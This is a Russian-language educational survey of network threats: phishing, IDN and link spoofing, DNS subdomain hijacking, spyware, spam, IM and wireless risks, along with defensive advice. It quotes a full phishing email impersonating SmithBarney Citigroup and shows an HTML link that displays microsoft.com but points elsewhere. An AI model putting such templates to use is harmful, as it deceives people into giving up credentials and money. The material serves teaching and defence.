Инсайдер формирует фальшивый счет и направляет ее в систему обработки. Позднее он одобряет оплату этого счета. Может показаться, что такая сжема может пройти только один раз. Но это не так. Во-первых, контроль всех электронных документов осуществляется не так часто, во-вторых, в эту схему обычно включается несколько человек (в том числе и внешних) или просто эту работу реализует частично или полностью вредоносная программа, установленная на сервере платежей. Факт кражи будет установлен лишь когда сумма станет значительной. Смотри "Monitoring, Detecting and Preventing Insider Fraud and Abuse" by Dan Sullivan или http://www.justice.gov/criminal/cybercrime/thomasIndict.htm.

WEB-страницы иногда имеют скрытые ссылки на конфиденциальные данные. Именно на это рассчитывают хакеры.


Практика показывает, что 80% усилий тратится на противодействие внешним атакам, а 70% реальных атак, наносящих ущерб, производится из локальной сети.

Phishing - получение паролей, PIN-кодов и пр. (последующая кража информации). Впервые этот вид атак зарегистрирован в 1996 году. Этот вид атаки начинается с рассылки почтовых сообщений, содержащих ссылку на известный ресурс (или имитирующий такую ссылку). Дизайн WEB-страницы обычно копируется с воспроизводимого ресурса. На фальсифицируемой странице может быть, например, написано, что банк, где вы имеете счет, проводит акцию по проверке безопасности доступа. Вам предлагается ввести номер вашей кредитной карты и PIN-код. Если вы это сделаете, злоумышленники сообщат, что все в порядке, а с вашего счета через некоторое время пропадут деньги. Но если это не сопряжено с банком, опасность такой атаки нисколько не уменьшается. Получив доступ к вашему акоунту, злоумышленники получат доступ к конфиденциальной информации и т.д. (смотри http://antiphishing.org/APWG_Phishing_Activity_Report_April_2005.pdf). Число атак типа phishing за апрель 2005 года составило 2854, месячный рост - около 15%. Хакер может прикинуться сотрудником организации и написать, что он забыл пароль. Служба администратора часто присылает новый пароль, не проверяя личность человека, приславшего запрос. Так терминалы иногда стоят в общедоступных помещениях, а сотрудник может ненадолго отойти от дисплея, не прерывая сессию, посторонний может сесть на его место, поменять пароль или загрузить троянского коня, получив доступ в систему. Злоумышленник может подсмотреть пароль и через плечо работающего легального пользователя. Хорошей практикой является отсутствие документов и тем более паролей на вашем рабочем столе. Длительная пауза в работе должна автоматически запирать дисплей. Критическая информация в laptop или notebook должна быть зашифрована. Одним из возможных средств атак является использование IDN (International Domain Name). Дело в том, что в системах, поддерживающих IDN, допускается использование букв национальных алфавитов, а, например, некоторые буквы латинского и русского алфавитов пишутся идентично. Этим могут воспользоваться злоумышленники, они могут зарегистрировать имена, которые выглядит как имена известной фирмы, например microsoft.com, где некоторые буквы заменены на русские, так что это внешне не заметно, например, буквы с или о. Тогда при ошибочной замене одной или нескольких букв на русские клиент попадет не на сайт компании Microsoft, а на внешне неотличимый от него сайт злоумышленника. В среднем электронные мошенничества наносит ущерб порядка 895$, частота же таких преступлений достаточно быстро растет. Пример подобного сообщения представлен ниже (я получил это сообщение на свой адрес в ЦЕРН (Женева)):

Dear Valued Customer,

SmithBarney Citigroup, is committed to maintaining a safe environment for our customers. To protect the security of your account, SmithBarney Citigroup, employs some of the most advanced security systems in the world and our anti-fraud teams regularly screen the Citibank system for unusual activity.

We are contacting you to remind you that on Nov. 28, 2004 our Account Review Team identified some unusual activity in your account. In accordance with SmithBarney's User Agreement and to ensure that your account has not been compromised, access to your account was limited. Your account access will remain limited until this issue has been resolved.

We encourage you to log in and perform the steps necessary to restore your account access as soon as possible. Allowing your account access to remain limited for an extended period of time may result in further limitations on the use of your account and possible account closure.Visit now log on page and sign to account verification process:

https://www.smithbarney.com/login/login.cgi?redir=s
Thank you for your prompt attention to this matter. Please understand that this is a security measure meant to help protect you and your account. We apologize for any inconvenience.

Sincerely,
SmithBarney Citigroup, Account Review Department.


Анализ инцидента показал, что произведена полная подмена страниц. Утилита Traceroute указывала на вроде бы легальный адрес в США...

При получении почтового сообщения, содержащего URL, возможна фальсификация адресов. Например написана ссылка www.microsoft.com, а на самом деле уход может происходить на адрес barmaley.com. Для этого можно записать URL в виде: <A href=http://barmaley.com>www.microsoft.com</a>. Хакер при этом может справедливо полагать, что читатель почтового сообщения не станет рассматривать HTML-код сообщения, а будет руководствоваться тем, что видит на экране.

Разновидностью такого рода атак является атака через DNS (или каким-то иным способом), когда страница известного URL подменяется страницей злоумышленника (spoofing).

При получении почты следует иметь в виду, что поле сообщения From: можно легко фальсифицировать. Хакер это может сделать для того, чтобы вы отнеслись с большим доверием к присланному сообщению. Протокол же SMTP и почтовые приложения не осуществляют проверку соответствия IP-адреса отправителя и поля From. Фильтрация сообщений по полю From предусмотрена лишь в программах AntiSPAM.

Традиционные программы antiSPAM не могут идентифицировать phishing-атаки. Такие сообщения не содержат ключевых слов, по которым детектируется SPAM (например, Viagra, pharmaceuticals или discount), они отправлены с адресов, еще не попавших в репутационные списки. Часто это адреса ваших хороших знакомых или коллег.

Подмена субдомена DNS

В последнее время широкое распространение получили хакерские операции перехвата субдоменных имен (DNS subdomain hijacking). Это особенно легко сделать, если DNS-сервис является внешним по отношению к организации или фирме. Например, если имеется домен www.example.com, хакером создается субдомен cheap-drugs.example.com, который переадресует запросы на IP-адрес хакера. Перехват имен субдоменов может производиться самыми разными способами. Целью хакера является размещение своего вредоносного сайта в благонадежной на вид доменной области. Для хакера такой тип атак привлекателен тем, что он может поставить под удар большое число машин, даже защищенных Firewall или IPS. Среди жертв хакеров оказались домены apptech.com, cfi.gov.ar, eap.edu, fabius-ny.gov, haskell.edu (данные с сайта RechRepublic).

Особое внимание хакеров привлекают кэширующие серверы имен (CNS - Caching NameServer). См. DNS security best practices to prevent DNS poisoning attacks. При реализации рекурсивных запросов всегда есть возможность модификации запроса или отклика. Для решения этой проблемы был разработан протокол DNSSEC.

Сокращение имени субдомена DNS

Некоторые сервис-провайдеры по ряду причин используют сокращенные имена субдоменов DNS для обозначения названия своих сервисов (например, в Twitter или e-mail). В последнее время сокращенное имя URL сервиса is.gd использовалось достаточно активно для переадресации клиентов на phishing-сайты. За время активности (см. рис. 1B) на сайт поступило 50 млрд. запросов. Ниже приведен пример ссылки-переадресайии на вредоносный сайт:

http://is.gd/Tb###U?2.taobao.com/item.htm?spm=2007.1000337

Рис. 1B. Активность субдомена is.gd (данные Netcraft)

На рис. 1С приведены доли 5 ведущих URL, использованных для переадресации на phishing-сайты.

Рис. 1C. Доли сокращенных имен доменов, используемых для phishing-атак

Вывод прост сокращение имен доменов, используемых для названий сервисов, удобно, но почти всегда опасно для пользователей.

Чтобы быть в курсе того, что делается в вашем домене (здесь предполагается, что ваш домен имеет имя example.com), полезно время от времени использовать утилиту dig:

dig @a.iana-servers.net example.com axfr


Большую угрозу могут представлять фальсификации серверов обновления (WINDOWS, антивирусных библиотек и т.д.), так как при таком "обновлении" в ЭВМ жертвы может быть записана любая вредоносная программа. Сходную угрозу может представлять интерактивная игра, которая, например, при переходе с одного уровня на другой, предлагает загрузить некоторый программный модуль.

Троянский конь (Spyware)

Эта программа, которая на вид имеет безобидное назначения, на самом деле содержbn определенные вредоносные функции. Она может фиксировать все нажатия клавиш на терминале или мышке, способна записывать screenshot'ы и передавать эти данные удаленному хозяину. Если на ЭВМ оказался установленным общеизвестный троянский конь, машина становится уязвимой. Именно с этим связано сканирование хакерами номеров портов известных троянских коней. Многие современные вирусы и черви могут загружать в зараженную ЭВМ троянского коня (или программу spyware), целью которого может быть не только получение паролей, но также номера кредитной карты и PIN-кода. В некоторых случаях зараженная машина может стать источником DoS-атаки. Исследования, проведенные в 2004 году, показали, что 90% РС имеют какой-то вид spyware (это не обязательно троянские кони). В среднем каждая ЭВМ содержит в себе до 26 разновидностей таких программ (возможно, это и преувеличение, но если вы не предпринимали специальных мер, как минимум одна такая программа в вашей ЭВМ имеется). Следует учитывать, что Spyware, имеют примерно те же возможности, что и троянский конь, встраиваются в другие программы и распространяется несколько другими методами. Программа троянский конь может рассылать себя другим машинам (как и сетевой червь). Кроме того, в отличие от троянских коней эти программы часто не обнаруживаются антивирусными программами. Смотри www.earthlink.net/about/press/pr_spyAudit, www.ssppyy.com и securityresponse.symantec.com. Программа "Троянский конь" обычно содержит в себе следующие секции:

Функцией Spyware является сбор данных об активности вашей машины, о криптоключах, паролях и другой критической и конфиденциальной информации. Spyware.Ssppyy может попасть к вам вместе с поздравительной открыткой. Если хотя бы один пользователь откроет такую открытку, вся система окажется скомпрометированной. 80% данных Spyware отсылает своему хозяину по почте (порт=25), некоторые разновидности этих программ содержат в себе почтовый сервер. Расходы на противодействие spyware увеличиваются ежегодно примерно в пять раз. Сюда входят расходы на создание программ и обновление баз данных сигнатур spyware.

Симптомами приcутствия spyware в вашем компьютере могут служить следующие признаки: (см. Recognizing and Avoiding Spyware).

Проверка моей машины с помощью программы BPS Spyware показала, что там содержится около 2000 таких программ (машина не сканировалась на предмет spyware); всего по результатам сканирования удалено 17825 объектов), но с момента инсталляции ОС на машине работала антивирусная программа. Последние полгода там работал ZoneAlarm. Полная очистка ЭВМ от spyware, размещенных в файлах, в cookies, в реестре и т.д. заняла достаточно много времени.

В последнее время троянские кони стали использоваться для отслеживания места пребывания хозяина машины (laptop). В перспективе, когда машины получат датчики GPS, эта задача существенно упростится.

Cookie содержит информацию о вашем имени, установках и предпочтениях при просмотре конкретного сайта. Эта информация заносится на ваш компьютер при просмотре этого сайта.

SPAM составляет до 90% полного объема почтовых сообщений. Сопряжено это с тем, что рассылка SPAM стала достаточно доходной частью полукриминального бизнеса. Это связано с потерями сетевых ресурсов, о времени получателей я уже не говорю. Часть таких сообщений часто заражена вирусами, червями или троянскими конями. Я, например, получаю до 300 таких сообщений в день. У меня есть специальный почтовый ящик, куда такие сообщения складываются. Эффективность современных фильтров SPAM достигает 90%. При этом следует учитывать, что такие фильтры сильно загружают серверы DNS. Для минимизации SPAM обычно рекомендуется иметь несколько почтовых адресов, например, один для частной переписки, один для деловой и один для информационных обменов, подписки и пр. Это облегчает распознавание SPAM. Полезно самому создавать уникальные адреса для каждого вида обменов и время от времени их менять (см. email.about.com/library/weekly. Это легко делать в случае подписных листов. Рекомендуется удалить свой почтовый адрес из своего WEB-сервера. Не рекомендуется покупать что-либо по рекомендациям SPAM-рассылок, тем более что в 95% случаях это могут оказаться недобросовестные поставщики. В последнее время для исключения распознавания SPAM по содержанию, отправители стали использовать графическую форму представления текста. Смотри также http://email.about.com/cs/spamfiltering, email.about.com/library/howto/htnegativespamfilter.htm, spam.abuse.net/spam/ и www.scambusters.org/stopspam/stop-spam.html. По данным Sophos 60% SPAM рассылается через взломанные ЭВМ. SPAM не только раздражает, съедая сетевые ресурсы, он делает бизнес менее эффективным. Представьте сколько времени сотрудники тратят на просмотр таких сообщений, сколько средств и ресурсов тратится на приобретение и обслуживание программ, фильтрующих почту, и вы поймете, что SPAM не безобиден и уже сегодня наносит ущерб более значительный, чем сетевые вирусы. Следует также учесть, что SPAM стал одним из основных средств рассылки троянских коней spyware, phishing и прочих разновидностей malware. В мае 2008 года ботнет Srizbi рассылала до 60 миллиардов SPAM-сообщений в сутки.

SPAM используется и для заражения машин вредоносными кодами. Для этой цели обычно применяются приложения со встроенными скриптами и другими опасными программами.

Разновидность SPAM, рассылаемая через IM, иногда называют SPIM.

“Пассивные” атаки с помощью, например, sniffer особенно опасны, так как, во-первых, практически недетектируемы, во-вторых, предпринимаются из локальной сети (внешний Firewall бессилен).

Scam - мошеннический трюк, заключающийся в том, чтобы, ссылаясь на авторитетных лиц, втереться в доверие и извлечь коммерческую выгоду. Первооткрывателями этого вида мошенничества были адресаты из Нигерии. Смотри en.wikipedia.org/wiki/Scam. Начиная с 2008 года стал активно использоваться мошеннический трюк, когда предлагается антивирусное (или любое программное защитное средство), при попытке загрузки которого машина оказывается заражена вредоносным кодом. Причем доступ к этой программе часто оказывается платным, что внушает дополнительное доверие потенциальной жертвы.

В организациях с 10000 сотрудников сплошь и рядом имеется до 16000 акоунтов за счет уже давно не используемых (люди уволились). Такие неиспользуемые акоунты могут стать объектом атаки, тем более что их создание может относиться ко времени, когда безопасности паролей не уделялось должного внимания. По этой причине администратор должен требовать регулярного обновления паролей и удалять устаревшие, неиспользуемые акоунты. Следует также учитывать, что средний сотрудник имеет в среднем как минимум 20 паролей (рабочей станции, сервера, базы данных, почты, социальной сети и пр.), это дополнительно усложняет ситуацию. Чрезмерные требования к сложности пароля могут иметь обратное действие - человек его забывает или записывает на видном месте. При большом числе паролей человек выбирает их похожими или даже одинаковыми, что упрощает их подбор злоумышленником. Опросы показывают, что средний человек способен помнить 4 пароля, а должен занать до 40! Именно этот факт делает привлекательным применение многофакторных систем аутентификации (специальные карты-ключи, биометрические данные, например, отпечатки пальцев, голос или радужка глаз).

При разработке новых устройств и программ надо уже на стадии проектирования встраивать в них средства безопасности. Должны быть разработаны специальные курсы обучения тому, как писать безопасные программы, например, CGI.

Еще одной, достаточно новой угрозой является IM (Instant Messaging - по существу это Internet Relay Chart (IRC)). Хотя большинство систем IM (MSN, Yahoo IM, AIM и др.) имеют стандартные номера портов, блокировать доступ для этого сервиса, закрыв эти порты, нельзя, так как системы могут воспользоваться другими номерами портов, например, 80, 23, 20 и т.д.. К этому классу уязвимостей следует отнести и сервис ICQ. Возможно, некоторые читатели сталкивались с появлением на экране их дисплея окна, приглашающего сыграть в "бесплатном" казино, это одно из проявлений подобных атак. Некоторые пользователи могут полагать, что они в безопасности, так как не используют e-mail. Для защиты от этого вида атак нужно специализированное программное обеспечение. Следует также помнить, что однажды запретив IM, нельзя быть уверенным, что вы полностью защищены с этой стороны. Например, автоматическое обновление Windows XP SP2 включает в себя загрузку Windows Messenger, что сведет на нет ваши усилия.

Прогнозируется, что к 2010 году 90% клиентов в сфере бизнеса будет использовать для общения технологию IM. Здесь клиент знает, с кем общается в реальном времени, IM исключает задержки отклика, характерные для e-mail. Кроме того IM является частью набора технологий UC (Unified Communication), который становится все более популярным. Уязвимость таких систем увеличивается за счет того, что сервисы e-mail, IM, SMS, VoIP и пр. реализуются независимо. Помимо этого, сегодня для IM характерно отсутствие четкой политики безопасности, а средства IM инсталируются клиантами сети предприятия без информирования администратора. Потери из расчета на один инцидент в 2008 году достигли 288000$. Смотри Направления и тенденции развития ИТ-технологий. 2008 год.

Вообще в отношении IM любой пользователь и сетевой администратор должен ответить на ряд вопросов:

  1. Следует ли использовать IM в его сети вообще?
  2. Могут ли пользователи использовать IM на системах, принадлежащих вашей организации?
  3. Нуждается ли организация в специфическом программном обеспечении IM?
  4. Следует ли использовать криптографию для обеспечения безопасности IM?
  5. Допустимо ли использование IM для частного обмена внутри и вне локальной сети?
  6. Следует ли вводить ограничения на передачу данных служебного характера, передаваемых посредством IM?
  7. Следует ли вводить определенные требования на запись (журналирование) обменов посредством IM?

Следует внедрять средства записи всех IM-обменов. Это позволит иметь архив всех обменов. Служащие же, зная, что все обмены на предприятии записываются, будут вести себя более осмотрительно. Параллельно можно внедрить фильтрацию IM по ключевым словам, чтобы исключить утечку критической информации. Такие фильтры могут блокировать также передачу вредоносных кодов внутри IM-сообщений.

Но главной уязвимостью и главной сетевой угрозой остается человек с его слабостями и несовершенствами...

Так как беспроводные сети находят все более широкое применение, а безопасность таких каналов оставляет желать лучшего, возможен перехват трафика с помощью средств типа sniffer. Высокой безопасности можно не получить даже в случае применения VPN и двухфакторной аутентификации (SecurID). Для хакера такие объекты атаки привлекательны тем, что им не нужно устанавливать соединение с каким-либо объектом в локальной сети, не оставляя следов в FireWall или IDS. Обычный просмотр WEB-страниц может помочь украсть индивидуальные параметры. Пользователи корпоративной сети при работе с WEB-страницами (просмотр требует аутентификации) могут получить уведомление: "Your connection to the network has been lost - please reenter your username and password". Инициатором такого сообщения может быть злоумышленник, который рассчитывает получить ваши аутентификационные параметры. Беспроводные средства облегчают атаки и стационарных объектов. Клиент, купивший карту доступа, получает динамический адрес и его локализация и идентичность достаточно трудно установить. Существуют специальные средства для выявления приборов 802.11, например, Kismet или Air Defense (разновидность IDS). Но такие средства могут использоваться как во благо, так и во вред, они могут помочь обнаружить плохо сконфигурированные точки доступа. Для таких сетей особенно актуальна проблема однозначной идентификации пользователя, где бы он ни находился. Обычно портативные ЭВМ после включения пытаются установить соединение с известными им беспроводными точками подключения (их число может превышать сотню), атакер может сформировать точку доступа, имитирующую один из таких узлов, для установления соединения с данной ЭВМ и получения параметров доступа. В последнее время появились экраны, работающие по технологии стелз, способные экранировать радиоволны определенных частот. Это позволяет обезопасить беспроводные локальные сети, сохраняя работоспособность мобильных телефонов. Эта технология может помочь исключить интерференцию систем, работающих на идентичных частотах.

Если нет насущной потребности, следует дезактивировать вход USB на уровни BIOS. Заметной уязвимостью обладают все переносные ЭВМ. Человек, получивший к такой ЭВМ доступ, за несколько минут может установить новый пароль (с помощью загрузочного диска) и скопировать оттуда любую информацию или установить там троянского коня. Особую категорию составляют домашние ЭВМ. Многие компании одобряют работу своих сотрудников дома (экономится электричество, рабочее место и пр.), удобно это и работникам (экономится время в пути и бензин). При подключении к офисной сети предпринимаются достаточно серьезные меры безопасности, но эта же машина может использоваться детьми, подключающимися к самым разным сайтам, среди которых могут быть ЭВМ злоумышленников. При этом нет никакой гарантии, что в такую машину не попадет троянский конь или другая вредоносная программа. После же подключения в сети компании такая машина может стать источником угрозы для других ЭВМ локальной сети. Покидая рабочее место, целесообразно выйти из ОС (произвести процедуру Logoff), но все ли это делают? По этой причине после 30-60 сек пассивности, ЭВМ должна сама выполнить эту процедуру. Многие компании в случае успешной сетевой атаки скрывают этот факт, чтобы сохранить доверие клиентов. Это приводит к тому, что число жертв увеличивается (такой же атаке подвергаются другие, не предупрежденные об угрозе).

Сигнатуры современных атак могут быть достаточно изощренными. Это может быть не просто попытка установить соединение с определенным портом, а вполне определенная последовательность попыток соединений, приводящая к соединению. Это характерно для доступа к некоторым люкам, специально оставленным хакером в какой-то программе. Такая схема исключает детектирование окон уязвимости простым поиском открытых портов (так работают некоторые программы поиска вторжений). Подробности этой техники смотри по адресу www.portknocking.org.

Появились сообщения о разработки вредоносных кодов, написанных на JavaScript. В это трудно поверить, но если это так, масштаб сетевых угроз увеличивается весьма существенным образом. Ведь в этом случае не нужно ничего копировать с вредоносного сайта, достаточно туда заглянуть. Но по-прежнему главной уязвимостью остается неопытный и малообразованный пользователь.

Наибольшую угрозу представляют атаки с помощью программ, специально написанных для вторжения в конкретную ЭВМ или сеть. К сожалению, большинство разработчиков приложений не учитывает требования безопасности. Сертификация программ, как правило, не включает в себя аспект безопасности (попыток вторжения). Следует разделять уязвимости "врожденные" и специально созданные хакером. Эти два вида бывает трудно разделить, если вы покупаете нелегальное программное обеспечение. Хороший хакер готовит вторжение с тщательной разведки объекта атаки. Это не обязательно сканирование или попытки подбора пароля. Такую информацию хакер может получить из описаний разработанных на сервере-мишени программных продуктов (требования к ОС, версии и т.д.) Он может послать запросы на серверы Whois, посылая команды finger или почтовому серверу и пр. В отдельности такие запросы не говорят ни о чем. Но, если собирать статистику о клиентах сети (используемые запросы, ping, traceroute, сканирования определенных портов и т.д.), то по совокупности этих данных можно с приемлемой вероятностью прогнозировать угрозу.

При стратегическом планировании в сфере сетевой безопасности следует учитывать тенденцию в направлении распределенных систем и более широкого внедрения беспроводных систем. Оба эти фактора делают решение проблем значительно труднее.

По мнению экспертов в последнее время важной мишенью атак становятся приложения, особенно те, которые взаимодействуют или доступны через Интернет. На долю таких приложений приходится до 70% успешных сетевых атак (данные Gartner Group).

В последнее время атаки серверов становятся двухэтапными. Так как сервер обычно защищен лучше рабочей станции, сначала атакуется именно она (например, через e-mail или Explorer). А далее с рабочей станции предпринимается уже атака сервера. Собственно атака даже может быть не нужна, если на рабочую станцию в результате атаки был загружен троянский конь или spyware. Ведь эти коды позволяют перехватить пароль, когда он еще не зашифрован.

Основные уязвимости

В последние годы количество выявленных уязвимостей увеличивалось на 50% ежегодно. За 2007 год выявлено более 7200 уязвимостей.

Начинать следует с выявления возможно намеренных или случайных уязвимостей:

  1. Процессора ЭВМ
  2. BIOS, контроллеров внешних устройств, интерфейсов и пр.
  3. Программного обеспечения ОС
  4. Прикладного программного обеспечения, включая программы защиты
  5. Программное обеспечение аппаратных сетевых устройств и систем аутентификации
  6. Сетевые протоколы и их программные реализации

Первые два пункта крайне важны, именно с обеспечения неуязвимости этих объектов следовало бы начинать разработку комплексной системы безопасности. К сожалению это пока не достижимо по финансовым и технологическим причинам. Остальные позиции являются объектами различных этапов данного проекта.

Следует учитывать и то, что сегодня в Интернет все серверы сканируются поисковыми системами. И, если по небрежности или легкомыслию там окажутся какие-то конфиденциальные данные, они станут доступны всем желающим, в том числе и конкурентам. Им даже не потребуется тратить свои усилия, все что им нужно, они получат через поисковую системы. По этой причине на серверы, подключенные к Интернет не должны попадать критические данные.


Техника атак достаточно быстро меняется, например, атаки, описанные в статье bl_ice.htm практически все уже не опасны, если на машине используются обновленные версии системных и прикладных программ. Сейчас актуальны атаки с помощью писем, к которым прикреплены зараженные троянским конем или spyware приложения (SPAM). Посылка такого письма может быть выполнена от имени администратора сети или хорошего знакомого, которому вы доверяете. Это особенно легко сделать из локальной сети с чужой машины, воспользовавшись временным отсутствием коллеги. Другим источником вторжения являются зараженные WEB-серверы (они необязательно принадлежат хакерам). Причем рекомендация посетить этот сайт может исходить от вашего "хорошего" знакомого по схеме, указанной выше. Вид сайта может быть совершенно безобидным, содержать какой-нибудь смешной клип и т.д. Российская бедность делает многих интернетчиков жертвами таких сайтов, так как они вынуждены искать "бесплатные" программы. Вообще хранилища бесплатных программ один из самых распространенных видов разносчиков троянских коней, adware, spyware и т.д.

После того как машина скомпрометирована, задача атакера как можно лучше скрыть этот факт. Он может отредактировать журнальные файлы машины жертвы. Современные виды malware имеют встроенные средства маскировки. Такая программа может блокировать работу антивирусной защиты, отключить систему выдачи сообщений об ошибках и сбоях, позаботиться о том, чтобы все, в том числе модифицированные файлы сохранили свой старый размер, саботируют работу программ безопасности, блокируют обновление Windows или антивирусной базы данных и т.д.

Предыдущие абзацы был написан примерно 5 лет назад. Тогда еще основным источником заражений вредоносными кодами являлась электронная почта. Но уже тогда сформировалась тенденция, когда основной угрозой стали WEB-приложения и Instant Messaging. WEB-атаки имеют принципиально иную природу, чем черви или вирусы. Начиная с 2008 года, главной угрозой стали социальные сети типа Facebook или Twitter. Это связано с тем, что в этих сетях клиентам разрешено занесение своего контента на общедоступные серверы (блоги, интерактивные личные дневники и пр.). Новой сферой деятельности хакеров стали серверы социальных опросов, где они научились тотально искажать результаты. Это стало их дополнительной статьей доходов. Twitter часто используется хакерами для управления botnet.

Последние исследования показали, что 95% комментариев в блогах содержат в себе SPAM или вредоносные коды. Под SPAM'ом подразумеваются и заказные политические комментарии.


C 2009 года хакеры научились использовать себе на пользу меры сетевого противодействия атакам (ACL). Взломанная машина становится источником рассылки SPAM или сетевых атак. В результате ее IP-адрес автоматически заносится в ограничительные списки (ACL) провайдеров и сетевых администраторов. Обычно факт взлома выявляется через 1-5 дней, но в ACL адрес может остаться на месяц или даже навсегда. В результате жертва взлома оказывается изолированной от многих ресурсов Интернет. На практике некоторые коммерческие компании, зависящие от Интернет, оказались разорены.

Прежде чем обсуждать средства противодействия вторжениям, следует рассмотреть пути и методы вторжения и причины потери критических данных. Эта информация позволит более осознанно строить линию обороны. Обращу ваше внимание лишь на некоторые из них:


Практика показывает, что 60% компаний, подвергшихся серьезному сетевому вторжению, уже не могут восстановить свой имидж и в течение года прекращают свое существование. Но даже компаниям, которым удалось избежать такой печальной судьбы, приходится нести тяжелые убытки. Важным свойством корпоративной системы становится время восстановления после катастрофического вторжения. Смотри Securing SSL VPNs with RSA SecurID Two-factor Authentication.

В феврале 2005 Банк Америки потерял ленты резервных копий данных, содержащих персональную информацию о 1,2 миллионах клиентах, аналогичная история произошла Ситигруп в июне 2005, когда были потеряны ленты с данными о 3,9 миллионах клиентах. Компания ESG считает, что потеря одного рекорда обходится в 30-150 долларов. Эти инциденты показывают, насколько актуальным является использование криптографии при создании резервных копий. Но несмотря на эти события до 75% компаний до сих пор не используют криптографические методы для резервного копирования (это относится к концу 2005). Во многих штатах США приняты законы, обязывающие компании, хранящие у себя персональные данные граждан (налоговые номера, адреса, даты рождения, номера кредитных карт, медицинские карты и т.д.), уведомлять заинтересованных лиц не только о случаях кражи этих данных, но даже при подозрении, что к этим данным получило доступ неавторизованное лицо!

Локальная сеть должна быть разумным образом поделена на субсети и VLAN, что осложняет действия локальных атакеров. Для копирования каких-то файлов коллегами может быть открыт доступ к какому-то каталогу или файлу, но по завершении операции доступ не перекрывается, чем могут воспользоваться как локальные, так и удаленные хакеры. Особое внимание должно уделяться безопасности DNS- и почтового серверов, так как именно их атакеры проверяют на прочность первыми.

В последнее время в связи с широким использованием мобильных средств появилась потребность аутентификации мобильных удаленных пользователей и процессов в рамках VPN. Для этой цели часто используется многопараметрическая аутентификация и средства генерации одноразовых паролей (OTP).

Одним из наиболее эффективных способов защиты информации является шифрование сообщений, что к сожалению заметно увеличивает время отклика (шифрование-дешифрование). Задержки при большом входном трафике могут привести к блокировке сервера.

Начинать нужно с классификации информации и сетевых объектов в вашей сети, определения зон ответственности и доступа различных сотрудников.

Если в вашей сети установлен Firewall, автоматически обновляемая антивирусная программа, система обновления прикладных и системных программ, IPS/IDS, VPN и система фильтрации почты и WEB-данных, это еще не гарантирует безопасности (100%-защиты ничто не может гарантировать). Все эти барьеры легко можно обойти (в сети описаны методики).

Наиболее эффективными являются простые правила предосторожности, диктуемые здравым смыслом.

  1. Не устанавливать на своей машине программ, назначение которых вам не известно. Еще лучше, но редко осуществимо, запретить пользователям самостоятельно инсталлировать программное обеспечение.
  2. Не кликайте без разбора мышкой на кнопках просматриваемых страниц, например на "click her to close" (функция этой кнопки на неизвестном сайте может быть много "богаче"), лучше закройте страницу, если сайт вам не известен.
  3. Не открывайте сообщения SPAM и не кликайте мышкой на ссылках в таких сообщениях.
  4. По возможности не используйте программы файлового обмена peer-to-peer (P2P)
  5. Убедитесь, что настройки вашего броузера запрещают какую-либо загрузку, не спросив разрешения пользователя.
  6. Установите экран, осуществляющий фильтрацию трафика в реальном времени, и выполняйте регулярное сканирование системы.

Мировой опыт обеспечения безопасности говорит о том, что нельзя обойтись каким-то одним программным средством мониторинга и защиты. По этой причине лучше иметь несколько средств различной функциональности, полученных из разных но достойных доверия источников. Смотри "TechTarget Guide to Spyware, Data Leakage, and Spyware Recovery". Для выявления вирусов, spyware и rootkit можно заглянуть, соблюдая осторожность, на следующие серверы:

  1. http://vil.nai.com/vil/stinger
  2. http://www.spybot.info/en/index.html
  3. http://www.microsoft.com/athome/security/spyware/software/default.mspx
  4. http://www.sysinternals.com/Utilities/RootkitRevealer.html
  5. http://greatis.com/unhackme
  6. http://www.f-secure.com/blacklight

Можно попробовать некоторые общедоступные программные средства сканирования. Запрос Google "free antivirus" может помочь вам найти нужные средства. Ниже приведен список таких источников (но перед их установкой лучше провести проверку на наличие в них самих malware):

  1. http://www.pestpatrol.com/prescan.htm
  2. http://www.ewido.net/en/onlinescan
  3. http://housecall.trendmicro.com/
  4. http://www.pandasoftware.com/products/activescan

Следует проверить все потенциально опасные места в системе компьютера, такие как каталог startup Windows, Startup tab в файле msconfig, а также любые ключи регистра, сслылающиеся на эту программу из anyHKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run в regedit. Небесполезно просмотреть и содержимое всех временных каталогов Windows temp . Таким образом нужно просканировать всю систему. Полезно время от времени вообще удалять содержимое всех пользовательских и системных каталогов типа TEMP, а также cookie. Крайне полезно отслеживать, желательно автоматически, любые изменения конфигурационных файлов.

Следует загрузить системный Process Explorer и просмотреть загруженные процессы и приложения. Это может выявить работающие malware. Для поиска malware, подключенного к локальным портам TCP или UDP можно запустить Foundstone's Vision. Можно использовать сетевой анализатор (например, CommView или Ethereal), что посмотреть, что происходит в сетевом сегменте.

Следует удалить (выгрузить) любые программы, если вы подозреваете их зараженность, после чего повторите сканирование. Может так случиться, что в вашей системе присутствуют файлы, заблокированные против стирания или помещенные под карантин вашей программой удаления, это могут быть вредоносные коды.

Никогда не посещайте сайтов, где вместо имени указан IP-адрес. Это может быть взломанный домашний компьютер, используемый для распространения malware.

Постарайтесь заблокировать восстановление и перезагрузку системы в safe mode и после этого запустите вашу программу детектирования/удаления вирусов/spyware. Для этой цели хороши программы, поставляемые на бутабельном CD.

Может так случиться, что ваши проблемы связаны с повреждением программы или неисправностью оборудования, а не с malware. Попытайтесь реинсталлировать Windows или поврежденное приложение. Если это не помогло, попытайтесь вернуть систему к состоянию, когда она работала, восстановив конфигурацию оборудования.

Не полагайтесь безгранично на Google или другую поисковую систему в отношении рекомендуемых программ детектирования и очистки системы от malware. Внимательно изучите сайты ведущих поставщиков соответствующего программного обеспечения (Symantec, Trend Micro, Sophos и др.), чтобы выбрать нужное решение для вашей проблемы. Сайты Symantec's Security Response и CA's Spyware Encyclopedia содержат много полезной информации.

Badware

Что такое плохая программа, знает каждый, кто использовал какое-либо программное обеспечение. Существует даже количественная мера для сравнения плохих программ друг с другом - число ошибок на 1000 строк кода. Нужно помнить, что эта характеристика чисто оценочная, и точного числа ошибок в программе не знает никто и никогда. Попутно замечу, что "хороших" программ длиннее 10000 строк, по моему опыту, не существует.

Конечно, практически все разработчики программ (кроме хакеров) не делают ошибок преднамеренно. Но ошибки в программах "хороших" программистов часто используют хакеры. Примером может служить сетевой червь Stuxnet, который вызвал сбои в работе 1000 ультрацентрифуг для разделения изотопов урана в Иране (город Natanz, 2010г). При реализации этого червя были использованы ошибки в управляющих драйверах компании Siemens. Очевидно, что разработчики этих драйверов сделали ошибки ненамеренно, более того, они делали все возможное, чтобы таких ошибок не было. Смотри статью Gary McGraw: "Eliminating badware addresses malware problem". Следует иметь в виду, что компьютеры обогатительного завода в Natanz не имели выхода в Интернет.

